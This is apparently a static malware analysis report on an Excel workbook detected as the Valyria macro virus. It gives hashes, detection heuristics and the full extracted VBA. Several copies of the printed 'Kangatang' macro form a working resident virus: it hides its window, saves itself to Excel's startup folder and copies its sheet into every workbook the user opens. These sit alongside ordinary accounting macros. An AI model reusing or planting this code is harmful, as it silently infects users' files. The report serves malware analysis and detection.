Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c6063e3dec2b7688…

MALICIOUS

Office (OOXML)

34.8 KB Created: 2020-05-11 13:03:41 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-01-23
MD5: d8840f095a0588eaf7fafa406c717aca SHA-1: 4355cd27493f9b781ad347b95b5d1a68e52d27b7 SHA-256: c6063e3dec2b768845f173e3bbb2ce66424941005081a8107e8ad3df9a37ffcd
236 Risk Score

Heuristics 6

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Hidden worksheet (veryHidden, hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 7 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 16913 bytes
SHA-256: 4100881c6c9e92ee39cffef487a45eee23e7575fb207ad3287803a67762aba3f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang_5"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Report_Loading()


Worksheets("NewReport").Delete
Dim my_FileName As Variant
my_FileName = Application.GetOpenFilename(FileFilter:="Excel Files,*.xl*;*.xm*")
If my_FileName <> False Then
Workbooks.Open Filename:=my_FileName
End If
ActiveWorkbook.Activate
Worksheets(1).Rows("1:16").Delete
Range("A1:Z1" & Cells(Rows.Count, 1).End(xlUp).Row).Select
Selection.Cut
Application.GoTo Workbooks("Tracker.xlsm").Sheets(2).Range("A1")
ActiveSheet.Activate
Sheets.Add After:=Sheets(Sheets.Count)
ActiveSheet.Name = "NewReport"
Selection.Insert

Dim Table As Range
Set Table = Worksheets("NewReport").Range("A:Z")
Sheets("NewReport").Range("AA2").Select

Dim MySheet As Worksheet, MyRange As Range
Dim Lastrow As Long, LastCol As Long

Application.DisplayAlerts = False

Set MySheet = ThisWorkbook.Worksheets("NewReport")

With MySheet
    Lastrow = Range("A" & Rows.Count).End(xlUp).Row
    LastCol = Range("Z" & Columns.Count).End(xlToLeft).Column
    Set MyRange = Range(Cells(1, 1), Cells(Lastrow, LastCol + 25))
End With

With MyRange
    .AutoFilter Field:=6, Criteria1:="<01/01/2019"
    .Offset(1, 0).Resize(Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
    
End With

With MySheet
    .AutoFilterMode = False
    If .FilterMode = True Then
        .ShowAllData
    End If
    
    
End With

With MyRange
    .AutoFilter Field:=5, Criteria1:="*tcc*", Operator:=xlOr, Criteria2:="*kh*"
    .Offset(1, 0).Resize(Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
    
End With

With MySheet
    .AutoFilterMode = False
    If .FilterMode = True Then
        .ShowAllData
    End If
    
End With

Application.DisplayAlerts = True

End Sub



Attribute VB_Name = "Module21"
Sub Training()
On Error GoTo Paste:

A = Worksheets("NewReport").Cells(Rows.Count, 1).End(xlUp).Row

Dim i As Integer


For i = 1 To A

Cells(i + 1, 28).Value = WorksheetFunction.VLookup(Cells(i + 1, 5).Value, Sheets("Unapplied").Range("B5:B & Cells(Rows.Count, 1).End(xlUp).Row"), 1, 0)



Next

Paste:

If Err.Number = 1004 Then
Cells(i + 1, 28).Value = "Checking"

Resume Next

Else

End If



End Sub

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module20"
Sub HighlightCells()
Dim MySheet As Worksheet
Dim MySheet1 As Worksheet
Dim x As Integer
Dim Find As Variant
Set MySheet = Worksheets("Unapplied")
Set MySheet1 = Worksheets("NewReport")

For x = 1 To MySheet.Range("B5:B" & Rows.Count).End(xlUp).Row
Set Find = MySheet1.Range("E:E").Find(What:=MySheet1.Range("B" & x).Value, LookAt:=xlWhole)
If Not Find Is Nothing Then
Next x
Else: MsgBox "Not found"

End If

Next x


End Sub


Attribute VB_Name = "Module22"

Attribute VB_Name = "Module18"

Sub Sorting()
Dim MySheet As Worksheet, MyRange As Range
Dim Lastrow As Long, LastCol As Long

Application.DisplayAlerts = False

Set MySheet = ThisWorkbook.Worksheets("NewReport")

With MySheet
    Lastrow = Range("A" & Rows.Count).End(xlUp).Row
    LastCol = Range("Z" & Columns.Count).End(xlToLeft).Column
    Set MyRange = Range(Cells(1, 1), Cells(Lastrow, LastCol + 9))
End With

With MyRange
    .AutoFilter Field:=3, Criteria1:="<01/01/2020"
    .Offset(1, 0).Resize(Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
    
End With

With MySheet
    .AutoFilterMode = False
    If .FilterMode = True Then
        .ShowAllData
    End If
    
    
End With

With MyRange
    .AutoFilter Field:=2, Criteria1:="*tcc*", Operator:=xlOr, Criteria2:="*kh*"
    .Offset(1, 0).Resize(Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
    
End With

With MySheet
    .AutoFilterMode = False
    If .FilterMode = True Then
        .ShowAllData
    End If
    
End With

With MyRange
    .AutoFilter Field:=5, Criteria1:="F*", Operator:=xlAnd, Criteria2:="=*SGS*"
    .Offset(1, 0).Resize(Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
     
End With
    
With MySheet
.AutoFilterMode = False
If .FilterMode = True Then
.ShowAllData

End If

End With

Application.DisplayAlerts = True

End Sub
Sub Vloooo2()

'Color change to non at the begging
Columns(2).Interior.ColorIndex = 0

c = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row

Dim i As Integer

For i = 5 To c

Cells(i, 16).FormulaR1C1 = "=IFERROR(VLOOKUP(RC[-14],NewReport!C[-14],1,0),""BRAK"")"

Next

For i = 2 To c

'Receipt represented by number
Cells(i, 2).NumberFormat = "0"

If Worksheets("Unapplied").Cells(i, 16).Value = "BRAK" Then

Worksheets("Unapplied").Cells(i, 2).Interior.ColorIndex = 3

End If

Next

MsgBox "Check payments in red"

End Sub


Attribute VB_Name = "Module5"
Sub Vlooook()

On Error GoTo Paste:

A = Worksheets("NewReport").Cells(Rows.Count, 1).End(xlUp).Row

Dim i As Integer


For i = 1 To A

Cells(i + 1, 27).Value = WorksheetFunction.VLookup(Cells(i + 1, 5).Value, Sheets("Unapplied").Range("B:B"), 1, 0)



Next


Paste:
If ActiveCell = "BRAK" Then
Cells(i + 1, 2).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 1).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 5).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 2).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 6).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 3).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 13).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 4).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 14).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 5).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 17).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 6).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 18).Select
Selection.Copy
Sheets("Unapplied").Activate


B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 7).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 19).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 8).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate
Cells(i + 1, 20).Select
Selection.Copy
Sheets("Unapplied").Activate
B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 9).Select
ActiveSheet.Paste
Worksheets("NewReport").Activate

Resume Next

Else

End If




End Sub

Attribute VB_Name = "Module2"
Sub Macro4()
Attribute Macro4.VB_ProcData.VB_Invoke_Func = " \n14"
'
' Macro4 Macro
'

'
    Columns("A:A").Select
    Selection.Delete
    Columns("B:B").Select
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Columns("D:D").Select
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Columns("F:F").Select
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Columns("J:J").Select
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
    Selection.Delete Shift:=xlToLeft
End Sub

Attribute VB_Name = "Module23"
Sub IfError()


A = Worksheets("NewReport").Cells(Rows.Count, 1).End(xlUp).Row

Dim i As Integer

For i = 2 To A

Cells(i, 11).FormulaR1C1 = "=IFERROR(VLOOKUP(RC[-9],Unapplied!C[-9],1,0),""BRAK"")"

Next

For i = 2 To A

If Worksheets("NewReport").Cells(i, 11).Value = "BRAK" Then
Worksheets("NewReport").Rows(i).Copy
Worksheets("Unapplied").Activate

B = Worksheets("Unapplied").Cells(Rows.Count, 1).End(xlUp).Row
Worksheets("Unapplied").Cells(B + 1, 1).Select
ActiveSheet.Paste

'Clear reason after pasting
Cells(B + 1, 11).ClearContents
End If
'Assigments
    If Cells(B + 1, 6) Like "PROFORMA*" Or _
    Cells(B + 1, 6) Like "Proforma*" Or _
    Cells(B + 1, 6) Like "proforma*" Or _
    Cells(B + 1, 6) Like "PRO-FORMA*" Or _
    Cells(B + 1, 6) Like "pro-forma*" Or _
    Cells(B + 1, 6) Like "Pro-forma*" Or _
    Cells(B + 1, 6) Like "Prepayemnt*" Or _
    Cells(B + 1, 6) Like "prepayment*" Or _
    Cells(B + 1, 6) Like "PREPAYMENT*" _
    Then Cells(B + 1, 11).Value = "Proforma"
    
    If Cells(B + 1, 6) Like "MB*" Or _
    Cells(B + 1, 6) Like "mb*" Or _
    Cells(B + 1, 6) Like "Mb*" Or _
    Cells(B + 1, 6) Like "mB*" _
    Then Cells(B + 1, 12).Value = "Monika"
    
    If Cells(B + 1, 6) Like "AP*" Or _
    Cells(B + 1, 6) Like "ap*" Or _
    Cells(B + 1, 6) Like "Ap*" Or _
    Cells(B + 1, 6) Like "aP*" _
    Then Cells(B + 1, 12).Value = "Aleksandra"

    If Cells(B + 1, 6) Like "SBG*" Or _
    Cells(B + 1, 6) Like "sbg*" Or _
    Cells(B + 1, 6) Like "Sbg*" Or _
    Cells(B + 1, 6) Like "sBG*" _
    Then Cells(B + 1, 12).Value = "Sabina"
    
    If Cells(B + 1, 6) Like "MM*" Or _
    Cells(B + 1, 6) Like "mm*" Or _
    Cells(B + 1, 6) Like "Mm*" Or _
    Cells(B + 1, 6) Like "mM*" _
    Then Cells(B + 1, 12).Value = "Magda"
    
    If Cells(B + 1, 6) Like "AB*" Or _
    Cells(B + 1, 6) Like "Ab*" Or _
    Cells(B + 1, 6) Like "ab*" Or _
    Cells(B + 1, 6) Like "aB*" _
    Then Cells(B + 1, 12).Value = "Aneta"
    
Worksheets("NewReport").Activate

Next

End Sub

Attribute VB_Name = "Kangatang_6"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_4"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_7"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_2"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_3"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 82432 bytes
SHA-256: 69cf77e421725a4e0f5ad660c9ad9436676a0dcab5ac379a502cb9447a74be09
Detection
ClamAV: Xls.Virus.Valyria-10004391-0
Obfuscation or payload: unlikely